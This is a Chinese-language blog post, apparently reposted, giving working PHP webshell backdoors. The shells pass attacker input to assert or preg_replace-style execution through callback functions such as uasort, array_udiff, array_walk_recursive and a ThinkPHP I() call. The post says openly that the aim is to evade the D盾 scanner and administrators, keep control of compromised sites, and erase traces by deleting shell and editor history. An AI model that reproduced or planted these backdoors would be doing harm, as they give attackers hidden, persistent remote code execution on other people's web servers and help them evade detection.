• 奇淫异巧之 PHP 后门


    整理大部分来源信安之路

    对于隐蔽来说,有以下几点要素:

    1、熟悉环境,模拟环境,适应环境,像一只变色龙一样隐藏

    2、清除痕迹,避免运维发现

    3、避免后门特征值被 D 盾等工具检测到

    姿势

    一般过狗思路

    最一般的绕狗、后门思路就是

    call_user_func('assert', $_REQUEST['pass'])

    直接参数回调,将$_REQUEST['pass']传入的数据,传递给 assert 函数去执行。

    双参数回调后门

    在 PHP5.4.8+ 版本中,assert 有一个新的可选参数 descrition。所以较于之前的 PHP 版本,我们可以使用一些新的方式去进行调用,这些新的方式也暂时还没有添加到D盾的特征匹配中。

    Talk is cheap show me the code~

    <?php
    $e=$_REQUEST['e'];
    $arr=array('test', $_REQUEST['pass']);
    uasort($arr, base64_decode($e));

    $_REQUEST['e'] 的话,传递 GET 或者 POST 参数都可以。

    uasort 函数在手册里这样定义:

    如果我们传入的比较函数是 assert 的话,就会产生代码执行。

    先将参数保存为一个数组,传入 'assert' 的 base64 编码,使用 uasort 函数调用即可。

    由此方法引申出的姿势有:

    一. 换为 uksort 函数:

    <?php
    $e=$_REQUEST['e'];
    $arr=array('test'=>1, $_REQUEST['pass'] =>2);
    uksort($arr, $e);

    二. 面向对象的方法:

    <?php
    // way 0
    $arr=new ArrayObject(array('test', $_REQUEST['pass']));
    $arr->uasort('assert');
    
    // way 1
    $arr=new ArrayObject(array('test'=>1, $_REQUEST['pass'] =>2));
    $arr->uksort('assert');

    三. array_reduce

    <?php
    $e=$_REQUEST['e'];
    $arr=array(1);
    array_reduce($arr, $e, $_POST['pass']);

    四. array_udiff

    <?php
    $e=$_REQUEST['e'];
    $arr=array($_POST['pass']);
    $arr2=array(1);
    array_udiff($arr, $arr2, $e);

    三参数回调后门(array_walk_recursive)

    上面的函数都是两个参数,然后回调指定函数的,下面还有3个参数的:

    <?php
    $e=$_REQUEST['e'];
    $arr=array($_POST['pass'] =>'|.*|e',);
    array_walk_recursive($arr, $e, '');

    这段代码的最终效果是回调名字为 $e 的函数,$arr 数组中的$_POST[pass](键)作为回调函数的第一个参数,'|.*|e'作为第二个参数。''作为第三个参数。

    有哪些函数是可以三个参数并且代码执行or命令执行的呢?

    最最常见的:preg_replace 函数在 e 修饰符条件下可以进行命令执行,原理可以看这个文章:

    http://0day5.com/archives/4016/

    最后的效果为:

    preg_replace('|.*|e', '你的命令', '');

    但 preg_replace 并不能直接用,因为 D 盾会将它作为特征值去检测,我们可以换一些其它效果类似的函数:

    mb_ereg_replace
    preg_filter

    sqlite 回调后门

    如果可以使用 PDO 的话,可以用 sqlite 的 PDO 来执行代码

    <?php
    $db=new PDO('sqlite::memory:');
    $st=$db->query("SELECT 'phpinfo()'");
    $re=$st->fetch
    ?>

    隐蔽性满满的~

    反序列化后门

    之前说了要适应环境,增强隐蔽性,所以可以根据目标代码,去添加一些恶意类,然后用反序列化漏洞来传递命令,并且可以通过捏造可信度比较高的的类名,在 index.php 中就直接引用,更不容易被发现。

    传输过程中,还可以进行一些加密、混淆操作,来绕过waf端检测。

    思路可参照,前一阵子 typecho 爆出的反序列化漏洞:

    https://www.th1s.cn/index.php/2017/10/25/138.html

    thinkphp 特征后门

    thinkphp 的自带方法中,存在可以作为后门的 I 函数

    具体代码逻辑比较复杂,有兴趣的同学可以移步P神的文章

    https://www.leavesongs.com/PENETRATION/thinkphp-callback-backdoor.html

    只要在可访问的地方,加上一行代码:

    I('post.ph0rse','',I('get.i'));

    就可以传递 GET 参数:i=assert, POST 参数 ph0rse=你的命令

    并且可以远连菜刀~

    同样,通过审计,在其它开源框架中其实也可以发现类似的留后门技巧。直接调用源类库里的方法,再稍微加一点混淆和加密,就很难被发现了。

    后话

    真正的后门,要靠系统层

    对于 PHP 后门来说,如果能做到隐蔽性,不会被D盾等工具自动检测出来。人工查看时,一时半会儿也看不出有问题,其实就够了。

    受限于运维的日志审查,通过 PHP 去进行后渗透不太现实,PHP 后门最大的意义在于,留有一个通道。等其它通道关闭或者网站迁移(总要移代码吧)时,能够维持对目标站的控制。

    而真正的后渗透操作,还是要考系统层的其它技巧,比如 shift 后门,ssh 后门,注册表木马等等~这些都是后话了~

    擦除痕迹

    想要让后面隐蔽,除了以上几点,还要清理好文件操作的痕迹。在 Linux 下就是删除 .bash_history 和 .viminfo 的记录,这些记录显示了你前段时间执行了哪些命令,修改了哪些文本。

     

    而在 windows 下,就是在注册表中做一些操作~

     

  • 相关阅读:
    ubuntu18.04登录界面背景图的更换
    java面向对象基础知识
    java语法+变量
    sql查询
    sql的增删改查
    事件概念和事件监听
    DOM对HTML元素的增删改操作
    DOM对HTML元素访问操作2
    DOM对HTML元素访问操作
    BOM模型中常用对象的介绍
  • 原文地址:https://www.cnblogs.com/-qing-/p/10820209.html
Copyright © 2020-2023  润新知